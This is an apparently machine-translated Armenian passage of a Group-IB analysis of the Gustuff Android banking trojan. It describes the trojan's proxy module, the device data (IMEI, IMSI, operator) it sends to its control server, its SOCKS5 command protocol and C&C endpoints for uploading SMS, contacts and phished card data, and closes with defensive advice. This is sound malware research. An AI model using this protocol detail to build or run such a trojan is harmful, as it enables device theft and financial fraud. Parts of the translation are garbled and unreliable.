Proxy մոդուլի կատարած բոլոր գործողությունները գրանցվում են ֆայլերում: Դա անելու համար հավելվածը արտաքին պահոցում ստեղծում է «logs» անունով գրացուցակ (ProxyConfigClass.logsDir դաշտը կազմաձևման դասում), որտեղ պահվում են տեղեկամատյանների ֆայլերը։ Գրանցումը տեղի է ունենում անուններով ֆայլերում.

  1. main.txt – այս ֆայլը օգտագործվում է CommandServer անունով դասի աշխատանքը գրանցելու համար: Հետևյալում, տողի str-ի գրանցումն այս ֆայլում կնշանակվի mainLog(str):
  2. նիստ-<%id%>.txt — տեղեկամատյանների տվյալները՝ կապված որոշակի վստահված անձի աշխատաշրջանի հետ, պահվում են այս ֆայլում: Հետևյալում, տողի str-ի գրանցումն այս ֆայլում կնշանակվի որպես sessionLog (str):
  3. server.txt – այս ֆայլն այն է, որտեղ գրանցվում են վերը նշված ֆայլերում գրված բոլոր տվյալները:

Մատյան տվյալների ձևաչափը.

<%Date%> [Tread[<%thread id%>], id[]]: log-string

Բացառությունները, որոնք տեղի են ունենում Proxy մոդուլի շահագործման ընթացքում, նույնպես գրանցվում են ֆայլում: Դա անելու համար հավելվածը ստեղծում է JSON ձևաչափի օբյեկտ.

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Այնուհետև այն փոխակերպում է լարային ներկայացման և տեղեկամատյանների:

Proxy մոդուլը գործարկվում է համապատասխան հրամանի գալուց հետո: Երբ հրաման է ստացվում գործարկելու վստահված անձի մոդուլը, հավելվածը սկսում է ծառայությունը անունով MainService, որը պատասխանատու է Proxy մոդուլի աշխատանքը կառավարելու համար՝ այն սկսելու և դադարեցնելու համար։

Ծառայության մեկնարկի քայլերը.

1. Գործարկում է ժամաչափ, որը կրակում է րոպեն մեկ և ստուգում վստահված անձի մոդուլի գործունեությունը: Եթե ​​մոդուլը ակտիվ չէ, այն սկսում է այն:
Նաև, երբ իրադարձությունը տեղի է ունենում android.net.conn.CONNECTIVITY_CHANGE վստահված անձի մոդուլը գործարկված է:

2. Հավելվածը ստեղծում է wake-lock պարամետրով PARTIAL_WAKE_LOCK և գրավում է նրան։ Այսպիսով, այն թույլ չի տալիս սարքի պրոցեսորին անցնել քնի ռեժիմի։

3. Գործարկում է վստահված անձի մոդուլի հրամանների մշակման դասը՝ նախ գրանցելով տողը mainlog («մեկնարկային սերվեր») и

Սերվեր::start() հոսթ[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

որտեղ proxy_cnc, command_port և proxy_port – պրոքսի սերվերի կոնֆիգուրացիայից ստացված պարամետրեր:

Հրամանների մշակման դասը կոչվում է CommandConnection. Գործարկումից անմիջապես հետո այն կատարում է հետևյալ գործողությունները.

4. Միանում է ProxyConfigClass.host: ProxyConfigClass.commandPort և այնտեղ JSON ձևաչափով տվյալներ է ուղարկում վարակված սարքի մասին.

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Որտեղ

  • id - նույնացուցիչ, որը փորձում է «x» անունով Shared Preference ֆայլից ստանալ արժեք «id» դաշտով: Եթե ​​այս արժեքը հնարավոր չէ ձեռք բերել, այն առաջացնում է նորը: Այսպիսով, վստահված անձի մոդուլն ունի իր նույնացուցիչը, որը ստեղծվում է Bot ID-ի նման:
  • imei - սարքի IMEI: Եթե ​​արժեքը ստանալու ժամանակ սխալ է տեղի ունեցել, այս դաշտի փոխարեն սխալի տեքստային հաղորդագրություն կգրվի:
  • imsi - Սարքի միջազգային բջջային բաժանորդի ինքնությունը: Եթե ​​արժեքը ստանալու ժամանակ սխալ է տեղի ունեցել, այս դաշտի փոխարեն սխալի տեքստային հաղորդագրություն կգրվի:
  • մոդել - Վերջնական արտադրանքի վերջնական օգտագործողի համար տեսանելի անվանումը:
  • արտադրող - Արտադրանքի/ապարատների արտադրողը (Build.MANUFACTURER):
  • androidVersion-ը տող է «<%release_version%> (<%os_version%>),<%sdk_version%>» ձևաչափով:
  • երկիրը սարքի ներկայիս գտնվելու վայրն է:
  • partnerId-ը դատարկ տող է:
  • packageName - փաթեթի անունը.
  • networkType - ընթացիկ ցանցային կապի տեսակը (օրինակ՝ «WIFI», «MOBILE»): Սխալի դեպքում վերադարձնում է զրոյական արժեք:
  • hasGsmSupport - true - եթե հեռախոսն աջակցում է GSM, հակառակ դեպքում կեղծ է:
  • simReady - SIM քարտի կարգավիճակ:
  • simCountry - երկրի ISO կոդը (հիմնված SIM քարտի մատակարարի վրա):
  • networkOperator - օպերատորի անվանումը: Եթե ​​արժեքը ստանալու ժամանակ սխալ է տեղի ունեցել, այս դաշտի փոխարեն սխալի տեքստային հաղորդագրություն կգրվի:
  • simOperator - Ծառայությունների մատակարարի անունը (SPN): Եթե ​​արժեքը ստանալու ժամանակ սխալ է տեղի ունեցել, այս դաշտի փոխարեն սխալի տեքստային հաղորդագրություն կգրվի:
  • տարբերակ - այս դաշտը պահվում է config դասում, բոտի ուսումնասիրված տարբերակների համար այն հավասար էր «1.6»:

5. Անցում է սերվերից հրամաններ սպասելու ռեժիմին: Սերվերի հրամանները գալիս են հետևյալ ձևաչափով.

  • 0 օֆսեթ-հրաման
  • 1 օֆսեթ-սեսիաId
  • 2 օֆսեթ-երկարություն
  • 4 օֆսեթ-տվյալներ

Երբ հրաման է ստացվում, հավելվածը գրանցվում է.
mainLog ("Header { sessionId<%id%>], type[<%command%>], երկարություն[<%length%>] }")

Սերվերից հնարավոր են հետևյալ հրամանները.

Անուն Հրաման Ամսաթիվ Նկարագրություն
կապի ID 0 Միացման ID Ստեղծեք նոր կապ
ՔԱՂԱՔ 3 ժամանակ Կասեցրեք վստահված անձի մոդուլը
ՍԵՂԱՆԻ ԹԵՆԻՍ 4 - Ուղարկեք PONG հաղորդագրություն

PONG հաղորդագրությունը բաղկացած է 4 բայթից և ունի հետևյալ տեսքը. 0x04000000.

Երբ ConnectId հրաման է ստացվում (նոր կապ ստեղծելու համար) CommandConnection ստեղծում է դասի օրինակ ProxyConnection.

  • Պրոքսիինգին մասնակցում է երկու դասարան. ProxyConnection и վերջ. Դաս ստեղծելիս ProxyConnection հասցեին միացում է կատարվում ProxyConfigClass.host: ProxyConfigClass.proxyPort և փոխանցելով JSON օբյեկտ.

 {
    "id":<%connectionId%>
}

Ի պատասխան՝ սերվերը ուղարկում է SOCKS5 հաղորդագրություն, որը պարունակում է հեռավոր սերվերի հասցեն, որի հետ կապը պետք է հաստատվի: Այս սերվերի հետ փոխազդեցությունը տեղի է ունենում դասի միջոցով վերջ. Սխեմատիկորեն, կապի կարգավորումը կարող է ներկայացվել հետևյալ կերպ.

Ինչպես է Gustuff Android Trojan-ը հեռացնում կրեմը (fiat և crypto) ձեր հաշիվներից

Ցանցային փոխազդեցություններ

Որպեսզի ցանցային սնիֆերները վերլուծեն տրաֆիկը, CnC սերվերի և հավելվածի միջև փոխազդեցությունը կարող է ապահովվել SSL արձանագրության միջոցով: Ինչպես սերվերից, այնպես էլ սերվերին փոխանցված բոլոր տվյալները JSON ձևաչափով են: Գործարկման ընթացքում հավելվածը կատարում է հետևյալ հարցումները.

  • http://<%CnC%>/api/v1/set_state.php հրամանի կատարման արդյունքն է։
  • http://<%CnC%>/api/v1/get.php - հրաման ստանալը.
  • http://<%CnC%>/api/v1/load_sms.php — ներբեռնել SMS հաղորդագրություններ վարակված սարքից:
  • http://<%CnC%>/api/v1/load_ab.php — վարակված սարքից կոնտակտների ցանկի վերբեռնում:
  • http://<%CnC%>/api/v1/aevents.php – հարցումը կատարվում է նախապատվության ֆայլի պարամետրերը թարմացնելիս:
  • http://<%CnC%>/api/v1/set_card.php - վերբեռնել տվյալները, որոնք ստացվել են ֆիշինգի պատուհանի միջոցով, որը դիմակավորված է որպես Google Play շուկա:
  • http://<%CnC%>/api/v1/logs.php - տեղեկամատյանների տվյալների բեռնաթափում:
  • http://<%CnC%>/api/v1/records.php - ֆիշինգի պատուհանների միջոցով ստացված տվյալների վերբեռնում:
  • http://<%CnC%>/api/v1/set_error.php - սխալի մասին ծանուցում:

Առաջարկություններ

Իրենց հաճախորդներին բջջային տրոյանների վտանգից պաշտպանելու համար ընկերությունները պետք է օգտագործեն համապարփակ լուծումներ, որոնք թույլ են տալիս, առանց օգտատերերի սարքերում լրացուցիչ ծրագրեր տեղադրել, վերահսկել և կանխել վնասակար գործողությունները:

Դա անելու համար շարժական տրոյանների հայտնաբերման ստորագրության վրա հիմնված մեթոդները պետք է ընդլայնվեն ինչպես հաճախորդի, այնպես էլ հենց հավելվածի վարքագիծը վերլուծելու տեխնոլոգիաներով: Նաև պաշտպանությունը պետք է ներառի թվային մատնահետքերի տեխնոլոգիայի օգտագործմամբ սարքերի նույնականացման գործառույթը, ինչը հնարավորություն կտա հասկանալ, թե երբ հաշիվն օգտագործվում է ոչ տիպիկ սարքից և արդեն հայտնվել է խարդախի ձեռքում:

Սկզբունքորեն կարևոր կետ է միջալիքային վերլուծության հնարավորությունը, որը թույլ է տալիս ընկերություններին վերահսկել ռիսկերը, որոնք առաջանում են ոչ միայն ինտերնետի, այլև բջջային կապուղու կողմից, օրինակ՝ մոբայլ բանկինգի հավելվածներում, կրիպտոարժույթներով գործարքների համար։ և ցանկացած այլ, որտեղ դա հնարավոր է իրականացնել.ֆինանսական գործարք.

Անվտանգության կանոններ օգտագործողների համար.

  • Android ՕՀ-ով բջջային սարքի համար հավելվածներ մի տեղադրեք Google Play-ից բացի այլ աղբյուրներից, հատուկ ուշադրություն դարձրեք հավելվածի կողմից պահանջվող իրավունքներին.
  • պարբերաբար տեղադրել Android OS-ի թարմացումները;
  • ուշադրություն դարձրեք բեռնված ֆայլերի ընդարձակմանը.
  • մի այցելեք կասկածելի ռեսուրսներ.
  • Մի սեղմեք SMS հաղորդագրություններում ստացված հղումների վրա:

Գլխավոր դերում Սեմյոն Ռոգաչով, Associate Malicious Code Researcher, Group-IB Computer Forensics Lab.

Source: www.habr.com

Добавить комментарий